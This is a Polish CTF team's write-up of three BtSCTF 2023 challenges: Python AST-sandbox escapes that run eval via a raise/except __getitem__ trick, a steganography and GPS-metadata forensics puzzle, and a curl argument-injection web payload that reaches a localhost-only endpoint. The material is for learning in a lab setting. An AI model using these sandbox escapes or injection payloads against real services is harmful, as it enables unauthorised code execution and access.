# BtSCTF 2023 writeups
Nazwa: ✨🌟💖💎🦄💎💖🌟✨🌟💖💎🦄💎💖🌟✨
Paweł Kojma, Jan Burdzicki, Wojciech Fiołka
## Statystyki
8 miejsce - onsite
13 miejsce - onsite + online
2 dni, ~10 pudełek pizzy, ~13 puszek monsterów

Łącznie zrobiliśmy 12 zadań
Crypto:
- Break PSI
Forensics:
- Chat, doner
Misc:
- unsafe_security_file, sanity check (bardzo trudny)
Pwn:
- jjail, buid-a-jail, super_secure_prison_v1, super_secure_prison_v2
Re:
- secret message, warmup
Web:
- Curly fries
Było całkiem blisko do zrobienia zadań:
Textbook, Textbook 2, typhoon
## writeupy wybranych zadań
### 1. (Pwn) Super secure prison (v1 i v2) - Paweł Kojma
(niestety zadania nie chcą sie mi odpalic na dockerze)
Najpierw zobaczymy jak to jest w pierwszej wersji.
Zadanie w obu wersjach udostępnia nam dostęp do wykonywania kodu w pythonie na serwerze, ale składnia jakiej możemy używać jest ograniczona. W pierwszej wersji blacklista wygląda tak:
```python=
# Blacklisted AST calls
BLACKLIST = {
ast.Import
}
# List of forbidden words
FORBIDDEN_WORDS = {"eval", "exec", "system", "sys", "subprocess"}
```
Program po stronie serwera działa w taki sposób, że tworzy drzewo AST z naszego kodu i przeszukuje drzewo, żeby zobaczyć czy nie używamy zabronionego syntaxu. Tutaj nie możemy importować bilbiotek i używać tokenów eval,exec itd..
Naszym zadaniem jest odczytanie flagi, mozemy ominąc zabroniony syntax przez użycie `__import__` i przeszukanie systemu. Jak juz bedziemy wiedzieli gdzie jest flaga to możemy ją poprostu przeczytać
```python=
print(__import__("os").listdir('.'))
```
AST kodu wyzej to
```python=
Module(
body=[
Expr(value=Call(
func=Name(id='print', ctx=Load()),
args=[Call(
func=Attribute(value=Call(
func=Name(id='__import__', ctx=Load()),
args=[Constant(value='os')],
keywords=[]),
attr='listdir', ctx=Load()),
args=[Constant(value='.')],
keywords=[])],
keywords=[]))], type_ignores=[])
```
teraz wystarczy przeczytac
```python=
print(open('/home/user/flag').read())
```
AST:
```python=
Module(
body=[
Expr(value=Call(
func=Name(id='print', ctx=Load()),
args=[Call(
func=Attribute(value=Call(
func=Name(id='open', ctx=Load()), args=[Constant(
value='/home/user/flag')], keywords=[]),
attr='read', ctx=Load()),
args=[], keywords=[])], keywords=[]))], type_ignores=[])
```
Teraz zobaczmy drugą ulepszoną wersje.
```python=
# Blacklisted AST calls
BLACKLIST = {
ast.Call,
ast.BinOp,
ast.Import,
ast.ImportFrom,
ast.BoolOp,
ast.UnaryOp,
ast.With,
ast.Pass,
ast.Continue,
}
# List of forbidden words
FORBIDDEN_WORDS = {"eval", "exec", "write", "import", "os", "subprocess", "open"}
```
Tutaj już jest gorzej, bo nie możemy np. wywoływać żadnych funkcji ani tworzyć obiektów (bo wołanie konstruktora to tez wywołanie funkcji) ze względu na `ast.Call`. Nie możemy tez używać zadnych operatorów binarnych jak + - / *, co bardzo mogłoby pomóc nam w ominięciu słów z `forbidden_words` bo moglibyśmy zrobic np `a = 'ev' + 'al'`. Akurat tworzenie niedozwolonych stringów np 'eval' jest proste wystarczy użyc `+=` co w drzewie AST interpretowane jest jako AugAssign.
```python=
a = 'ev'
a+= 'al'
```
```python=
Module(body=[
Assign(targets=[Name(id='a', ctx=Store())],
value=Constant(value='ev')),
AugAssign(
target=Name(id='a', ctx=Store()),
op=Add(),
value=Constant(value='al'))],
type_ignores=[])
```
Szukając długo po internecie różnych trików na wołanie funkcji można wyszukać że da się utworzyć instancję klasy używając `raise klasa` w bloku try a następnie użyć jej w bloku `except klasa as obiekt`. W tej sytuacji wystarczy zoverloadować jedną z magicznych metod w klasie `klasa` np `__getitem__ = print` wtedy np `obiekt['abc']` wypisze string 'abc'. To pozwala nam na ominięcie resktrykcji na wołanie funkcji. Teraz jedyne co jest do szczęścia potrzebne to podstawienie pod `__getitem__` jakieś użytecznej funkcji np eval. To akurat dla się bardzo łatwo zrobic używając `__builtins__` gdzie mamy dostęp do listy wbudowanych funkcji jak np abs,min,int i eval. Łącząc wszystko powyżej łatwo teraz zkonstruować kod który daje nam flage:
```pytohn=
a = 'ev'
a+= 'al'
class T(BaseException):
global a
__getitem__ = __builtins__.__dict__[a]
try:
raise T
except T as e:
b = 'print('
b+= 'op'
b+= 'en('
b+= "'/home/user/flag'"
b+= ").read())"
e[b]
```
`BtSCTF{4st_j41ls_are_s0_h4rd_t0_1mpL3MeN7}`
### Doner challenge - Jan Burdzicki
Do you like kebab? I do, but it's hard to find a good one, could you help me?
---
**CTF:** [Break The Syntax 2023](https://ctftime.org/event/1940/)
**Team:** [✨🌟💖💎🦄💎💖🌟✨🌟💖💎🦄💎💖🌟✨](https://ctftime.org/team/231415)
**Kategoria:** `forensics`
**Flaga:** `BtSCTF{B3$T_K3848_3V3R}`
---
Pliki do zadania: [image.jpg](https://hackmd.io/_uploads/S1O_sLvvn.jpg)
Narzędzia wykorzystane do rozwiązania zadania:
* [binwalk](https://github.com/ReFirmLabs/binwalk)
* [John the Ripper](https://github.com/openwall/john)
* [exiftool](https://exiftool.org/)
Korzystając z polecenia `binwalk image.jpg`, dowiadujemy się, że plik `image.jpg` zawiera zaszyfrowany plik ZIP, który zawiera plik `tortilla.jpg`.
Output:
```
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
17979 0x463B Zip archive data, encrypted at least v2.0 to extract, compressed size: 70812, uncompressed size: 73631, name: tortilla.jpg
88959 0x15B7F End of Zip archive, footer length: 22
```
Za pomocą polecenia `binwalk -e image.jpg` wyciągamy plik ZIP z obrazka.
To polecenie stworzy nam w obecnym katalogu folder o nazwie `_NAZWA_PLIKU_Z_KTOREGO_EKSTRAKTUJEMY.extracted`, czyli w naszym przypadku `_image.jpg.extracted`
```bash
cd _image.jpg.extracted
zip2john *.zip > hash
john hash
```
Uzyskujemy hasło do zaszyfrowanego pliku: `iloveyou`
```bash
unzip *.zip
```
```bash
exiftool tortilla.jpg
```
Output:
```
ExifTool Version Number : 12.62
File Name : tortilla.jpg
Directory : /home/jan/Downloads
File Size : 73 kB
File Modification Date/Time : 2023:06:02 20:02:08+02:00
File Access Date/Time : 2023:06:13 19:50:33+02:00
File Inode Change Date/Time : 2023:06:02 20:02:08+02:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
XMP Toolkit : Image::ExifTool 12.57
GPS Longtitude : 17 deg 3' 18.88" E
Image Width : 600
Image Height : 420
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 600x420
Megapixels : 0.252
```
Można uzyskać współrzędne GPS w bardziej standardowej postaci. Fragmenty dokumentacji uzyskanej poleceniem `man exiftool`, są poniżej:
```
-c FMT (-coordFormat) Set format for GPS coordinates
```
```
-c FMT (-coordFormat)
Set the print format for GPS coordinates. FMT uses the same syntax as a "printf" format string. The specifiers correspond to degrees, minutes and seconds in that order,
but minutes and seconds are optional. For example, the following table gives the output for the same coordinate using various formats:
FMT Output
------------------- ------------------
"%d deg %d' %.2f"\" 54 deg 59' 22.80" (default for reading)
"%d %d %.8f" 54 59 22.80000000 (default for copying)
"%d deg %.4f min" 54 deg 59.3800 min
"%.6f degrees" 54.989667 degrees
Notes:
1) To avoid loss of precision, the default coordinate format is different when copying tags using the -tagsFromFile option.
2) If the hemisphere is known, a reference direction (N, S, E or W) is appended to each printed coordinate, but adding a "+" to the format specifier (eg. "%+.6f") prints a
signed coordinate instead.
3) This print formatting may be disabled with the -n option to extract coordinates as signed decimal degrees.
```
```bash
exiftool -c "%6f" tortilla.jpg
```
Output:
```
ExifTool Version Number : 12.62
File Name : tortilla.jpg
Directory : .
File Size : 73 kB
File Modification Date/Time : 2023:06:02 20:02:08+02:00
File Access Date/Time : 2023:06:13 19:50:33+02:00
File Inode Change Date/Time : 2023:06:02 20:02:08+02:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
XMP Toolkit : Image::ExifTool 12.57
GPS Longtitude : 17.055244 E
Image Width : 600
Image Height : 420
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 600x420
Megapixels : 0.252
```
Mamy południk $17.055244 \text{ E}$. Używając Google Maps, próbujemy znaleźć odpowiedni równoleżnik, żeby ustalić konkretne miejsce na mapie.
Możemy po kolei wnioskować, że szukane miejsce może być w Polsce, następnie, że może być we Wrocławiu, w pobliżu PWr... Korzystając z nazwy zadania i obrazku tortilli, możemy dojść do wniosku, że chodzi o `Habibi Doner`, które mieści się na naszym południku.

Następnie patrząc na najnowsze opinie Google, zdobywamy flagę `BtSCTF{B3$T_K3848_3V3R}`

### 3. (web) Curly fries - Wojciech Fiołka
W zadaniu dostajemy dostęp do strony oraz kod serwera napisany w pythonie do strony sprzedającej frytki.
Tak wygląda system zamawiania:

A tak wyniki zamówienia:

W kodzie serwera możemy zauważyć że strona ściąga dane zostawione w dropdownach i tworzy z nich komędę którą następnie wykonuje:
```python=
# Reports say some customers tried to smuggle something extra in their order ...
@app.route("/order", methods=["POST"])
def order():
form = request.form
params = [k + "=" + v for k, v in form.items()]
command = "curl -X POST http://127.0.0.1:1337/kitchen -d " + "&".join(params)
print(command.split(" "))
try:
r = subprocess.check_output(command.split(" "))
print(r)
return r # TODO: & alias l=' '; ls /
except:
return render_template(
"info.html", info="Oops ... there was a problem processing your order :("
)
```
Problematyczną częścią jest to że używamy curla do zrobienia requesta. Jest to problematyczne bo możemy jedną komędą curl wykonać wiele requestów na raz. Więc moglibyśmy w danych dodać fragment w którym wywołujemy request do endpointa `/register`:
```python=
@bp.route("/register", methods=["GET", "POST"])
@localhost_only
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if register_user(username, password):
return render_template(
"info.html",
info="Success! Thank you for registering at Curly Fries Restaurant.",
)
else:
return render_template("info.html", info="This user already exists!")
return render_template("register.html")
```
Jak widać endpoint `/register` jest localhost_only, ale nas to nie interesuje bo curl wywołuje się lokalnie na serwerze więc wystarczy zrobić request w Burpie:
```
POST /order HTTP/1.1
Host: 192.168.0.27:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.0.27:5000
Connection: close
Referer: http://192.168.0.27:5000/
Upgrade-Insecure-Requests: 1
foo=bar http://127.0.0.1:5000/register -d username=user&password=pass
```
A następnie wystarczy się zalogować na to jaki username i password podaliśmy. Po zalogowaniu pokazuje się flaga.s